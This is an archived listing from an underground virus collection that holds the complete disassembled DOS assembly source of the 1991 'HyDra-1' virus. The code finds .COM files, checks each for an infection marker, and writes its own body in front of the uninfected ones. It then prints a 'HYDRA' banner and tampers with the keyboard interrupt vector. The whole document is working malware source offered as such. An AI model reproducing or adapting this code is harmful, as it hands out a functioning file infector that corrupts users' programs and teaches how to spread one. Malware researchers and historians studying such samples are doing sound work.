home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / h / hydra1.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.8 KB  |  197 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    HYDRA1                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   27-Aug-91                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: AW                 ██
  18.  
  19. ;██      Copyright (c)                                 ██
  20.  
  21. ;██                                         ██
  22.  
  23. ;██████████████████████████████████████████████████████████████████████████
  24.  
  25.  
  26.  
  27. psp_cmd_size    equ    80h
  28.  
  29. data_12e    equ    100h
  30.  
  31. data_13e    equ    193h
  32.  
  33. data_14e    equ    196h
  34.  
  35. data_15e    equ    271h
  36.  
  37. data_16e    equ    293h
  38.  
  39.  
  40.  
  41. seg_a        segment    byte public
  42.  
  43.         assume    cs:seg_a, ds:seg_a
  44.  
  45.  
  46.  
  47.  
  48.  
  49.         org    100h
  50.  
  51.  
  52.  
  53. hydra1        proc    far
  54.  
  55.  
  56.  
  57. start:
  58.  
  59.         jmp    loc_1
  60.  
  61.         pop    cx
  62.  
  63.         inc    sp
  64.  
  65.         add    [bx+si],al
  66.  
  67. data_3        db    'HyDra-1   Beta - Not For Release'
  68.  
  69.         db    '. *.CO?'
  70.  
  71.         db    0
  72.  
  73. data_6        dw    0, 8B39h
  74.  
  75. data_8        dw    0
  76.  
  77. data_9        db    0
  78.  
  79.         db    29 dup (0)
  80.  
  81. data_10        db    0
  82.  
  83.         db    13 dup (0)
  84.  
  85. data_11        db    'HYDRA$'
  86.  
  87. copyright    db    'Copyright (c)'
  88.  
  89.         db    '  1991 by C.A.V.E.  $'
  90.  
  91. loc_1:
  92.  
  93.         push    ax
  94.  
  95.         mov    ax,cs
  96.  
  97.         add    ax,1000h
  98.  
  99.         xor    di,di            ; Zero register
  100.  
  101.         mov    cx,193h
  102.  
  103.         mov    si,100h
  104.  
  105.         mov    es,ax
  106.  
  107.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  108.  
  109.         mov    ah,1Ah
  110.  
  111.         mov    dx,offset data_9
  112.  
  113.         int    21h            ; DOS Services  ah=function 1Ah
  114.  
  115.                         ;  set DTA(disk xfer area) ds:dx
  116.  
  117.         mov    ah,4Eh            ; 'N'
  118.  
  119.         mov    dx,offset data_3+22h    ; ('*')
  120.  
  121.         int    21h            ; DOS Services  ah=function 4Eh
  122.  
  123.                         ;  find 1st filenam match @ds:dx
  124.  
  125.         jc    loc_5            ; Jump if carry Set
  126.  
  127. loc_2:
  128.  
  129.         mov    ah,3Dh            ; '='
  130.  
  131.         mov    al,2
  132.  
  133.         mov    dx,offset data_10
  134.  
  135.         mov    al,2
  136.  
  137.         int    21h            ; DOS Services  ah=function 3Dh
  138.  
  139.                         ;  open file, al=mode,name@ds:dx
  140.  
  141.         mov    bx,ax
  142.  
  143.         push    es
  144.  
  145.         pop    ds
  146.  
  147.         mov    ax,3F00h
  148.  
  149.         mov    cx,0FFFFh
  150.  
  151.         mov    dx,data_13e
  152.  
  153.         int    21h            ; DOS Services  ah=function 3Fh
  154.  
  155.                         ;  read file, bx=file handle
  156.  
  157.                         ;   cx=bytes to ds:dx buffer
  158.  
  159.         add    ax,193h
  160.  
  161.         mov    cs:data_8,ax
  162.  
  163.         cmp    word ptr ds:data_14e,4459h
  164.  
  165.         jne    loc_3            ; Jump if not equal
  166.  
  167.         mov    ah,3Eh            ; '>'
  168.  
  169.         int    21h            ; DOS Services  ah=function 3Eh
  170.  
  171.                         ;  close file, bx=file handle
  172.  
  173.         push    cs
  174.  
  175.         pop    ds
  176.  
  177.         mov    ah,4Fh            ; 'O'
  178.  
  179.         int    21h            ; DOS Services  ah=function 4Fh
  180.  
  181.                         ;  find next filename match
  182.  
  183.         jc    loc_6            ; Jump if carry Set
  184.  
  185.         jmp    short loc_2
  186.  
  187. loc_3:
  188.  
  189.         xor    cx,cx            ; Zero register
  190.  
  191.         mov    dx,cx
  192.  
  193.         mov    ax,4200h
  194.  
  195.         int    21h            ; DOS Services  ah=function 42h
  196.  
  197.                         ;  move file ptr, bx=file handle
  198.  
  199.                         ;   al=method, cx,dx=offset
  200.  
  201.         jc    loc_4            ; Jump if carry Set
  202.  
  203.         mov    ah,40h            ; '@'
  204.  
  205.         xor    dx,dx            ; Zero register
  206.  
  207.         mov    cx,cs:data_8
  208.  
  209.         int    21h            ; DOS Services  ah=function 40h
  210.  
  211.                         ;  write file  bx=file handle
  212.  
  213.                         ;   cx=bytes from ds:dx buffer
  214.  
  215. loc_4:
  216.  
  217.         mov    ah,3Eh            ; '>'
  218.  
  219.         int    21h            ; DOS Services  ah=function 3Eh
  220.  
  221.                         ;  close file, bx=file handle
  222.  
  223.         push    cs
  224.  
  225.         pop    ds
  226.  
  227. loc_5:
  228.  
  229.         mov    ah,1Ah
  230.  
  231.         mov    dx,psp_cmd_size
  232.  
  233.         int    21h            ; DOS Services  ah=function 1Ah
  234.  
  235.                         ;  set DTA(disk xfer area) ds:dx
  236.  
  237.         jmp    short loc_7
  238.  
  239.         nop
  240.  
  241. loc_6:
  242.  
  243.         push    dx
  244.  
  245.         xor    ax,ax            ; Zero register
  246.  
  247.         mov    ax,0F00h
  248.  
  249.         int    10h            ; Video display   ah=functn 0Fh
  250.  
  251.                         ;  get state, al=mode, bh=page
  252.  
  253.                         ;   ah=columns on screen
  254.  
  255.         mov    ah,0
  256.  
  257.         int    10h            ; Video display   ah=functn 00h
  258.  
  259.                         ;  set display mode in al
  260.  
  261.         mov    ax,200h
  262.  
  263.         mov    dh,6
  264.  
  265.         mov    dl,25h            ; '%'
  266.  
  267.         int    10h            ; Video display   ah=functn 02h
  268.  
  269.                         ;  set cursor location in dx
  270.  
  271.         xor    dx,dx            ; Zero register
  272.  
  273.         mov    dx,offset data_11    ; ('HYDRA')
  274.  
  275.         mov    ah,9
  276.  
  277.         int    21h            ; DOS Services  ah=function 09h
  278.  
  279.                         ;  display char string at ds:dx
  280.  
  281.         mov    ax,200h
  282.  
  283.         mov    dh,17h
  284.  
  285.         mov    dl,0
  286.  
  287.         int    10h            ; Video display   ah=functn 02h
  288.  
  289.                         ;  set cursor location in dx
  290.  
  291.         mov    dx,offset copyright    ; ('Copyright (c)')
  292.  
  293.         mov    ah,9
  294.  
  295.         int    21h            ; DOS Services  ah=function 09h
  296.  
  297.                         ;  display char string at ds:dx
  298.  
  299.         mov    ax,200h
  300.  
  301.         mov    dh,18h
  302.  
  303.         mov    dl,0
  304.  
  305.         int    10h            ; Video display   ah=functn 02h
  306.  
  307.                         ;  set cursor location in dx
  308.  
  309.         mov    ax,3504h
  310.  
  311.         int    21h            ; DOS Services  ah=function 35h
  312.  
  313.                         ;  get intrpt vector al in es:bx
  314.  
  315.         mov    ax,es
  316.  
  317.         mov    dx,bx
  318.  
  319.         mov    ds,ax
  320.  
  321.         mov    ax,2509h
  322.  
  323.         int    21h            ; DOS Services  ah=function 25h
  324.  
  325.                         ;  set intrpt vector al to ds:dx
  326.  
  327.         mov    ax,0
  328.  
  329.         int    21h            ; DOS Services  ah=function 00h
  330.  
  331.                         ;  terminate, cs=progm seg prefx
  332.  
  333. loc_7:
  334.  
  335.         xor    di,di            ; Zero register
  336.  
  337.         mov    si,data_15e
  338.  
  339.         mov    cx,22h
  340.  
  341.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  342.  
  343.         pop    bx
  344.  
  345.         mov    cs:data_6,0
  346.  
  347.         mov    word ptr cs:data_6+2,es
  348.  
  349.         pop    bx
  350.  
  351.         jmp    dword ptr cs:data_6
  352.  
  353.         push    ds
  354.  
  355.         pop    es
  356.  
  357.         mov    cx,0FFFFh
  358.  
  359.         mov    si,data_16e
  360.  
  361.         mov    di,data_12e
  362.  
  363.         sub    cx,si
  364.  
  365.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  366.  
  367.         mov    word ptr cs:[100h],100h
  368.  
  369.         mov    word ptr cs:[102h],ds
  370.  
  371.         mov    ax,bx
  372.  
  373.         jmp    dword ptr cs:[100h]
  374.  
  375.         int    20h            ; DOS program terminate
  376.  
  377.  
  378.  
  379. hydra1        endp
  380.  
  381.  
  382.  
  383. seg_a        ends
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.         end    start
  392.  
  393.